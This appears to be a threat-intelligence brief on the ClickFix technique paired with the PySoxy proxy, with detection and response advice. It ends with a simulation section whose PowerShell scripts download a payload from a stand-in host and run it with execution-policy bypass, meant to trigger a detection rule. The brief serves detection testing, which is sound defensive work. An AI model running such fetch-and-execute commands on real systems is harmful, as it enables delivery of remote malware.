ClickFix Evolves with PySoxy Proxying

Summary

ClickFix is a social engineering-based delivery technique that is now being paired with the open-source PySoxy SOCKS5 proxy to create an encrypted secondary access channel. The intrusion begins when a user executes a malicious PowerShell command, which sets up scheduled-task persistence and launches an in-memory PowerShell command-and-control session. After initial reconnaissance, the attacker downloads and runs PySoxy to establish a second encrypted path into the environment. This modular use of interpreter-based tools makes both detection and incident containment more challenging.

Investigation

ReliaQuest observed a single user-driven ClickFix command that launched an obfuscated PowerShell stager, created a scheduled task, performed domain reconnaissance, and later downloaded a compiled Python bytecode file named b64.pyc, which was executed with python.exe. The PowerShell component acted as a lightweight RAT, polling its command-and-control server every three seconds. Researchers also saw the attacker use curl to upload logs and retrieve the PySoxy payload from the same staging server.

Mitigation

Defenders should detect and block suspicious PowerShell launches originating from explorer.exe, monitor for scheduled tasks that execute hidden PowerShell commands, and hunt for Python executions using proxy-related arguments such as -ssl, -remote_ip, and -remote_port. Security teams should also inspect outbound traffic to the identified domains and IP addresses and remove any persisted PowerShell scripts or .pyc files found in ProgramData.

Response

If related indicators are found, isolate the affected host immediately, disable the compromised user account, remove the malicious scheduled task, delete the PowerShell script and PySoxy artifacts, and scan the system for additional remnants. Defenders should also confirm that outbound traffic to the identified infrastructure is blocked and verify that no other persistence mechanisms remain active.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Goal: Establish a PowerShell‑based C2 channel (ClickFix) that downloads a malicious payload from a remote server and executes it stealthily.
  2. Method: The attacker launches powershell.exe with the exact flag set the rule monitors (-NoProfile and -ExecutionPolicy Bypass) and uses Invoke-WebRequest to fetch the payload.
  3. Why this method: By using native Windows PowerShell and the common Invoke-WebRequest cmdlet, the adversary avoids downloading third‑party tools, reducing the chance of AV detection while matching the known ClickFix behavior captured in the rule.

  # Step 1: Download the malicious script (simulated as a benign test file)
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  Invoke-WebRequest -Uri $url -OutFile $out
  
  # Step 2: Execute the downloaded script using the same launch parameters the rule watches
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out

• Regression Test Script:

  # ==============================================
  # ClickFix PowerShell C2 Simulation (TC-20260514-3G7ZK)
  # ==============================================
  
  # Define variables
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  
  # 1. Download a dummy payload (acts as the C2 fetch)
  Write-Host "[*] Downloading payload..."
  try {
      Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing
  } catch {
      Write-Error "Download failed: $_"
      exit 1
  }
  
  # 2. Execute the payload with the exact flags monitored by the rule
  Write-Host "[*] Executing payload with -NoProfile -ExecutionPolicy Bypass"
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out
  
  Write-Host "[+] Simulation complete."
  # ==============================================

• Cleanup Commands:

  # Remove the temporary payload file
  if (Test-Path $out) {
      Remove-Item -Path $out -Force
      Write-Host "[*] Payload file removed."
  }
  
  # Optionally stop any lingering PowerShell processes launched by the test
  Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force
  Write-Host "[*] Cleanup finished."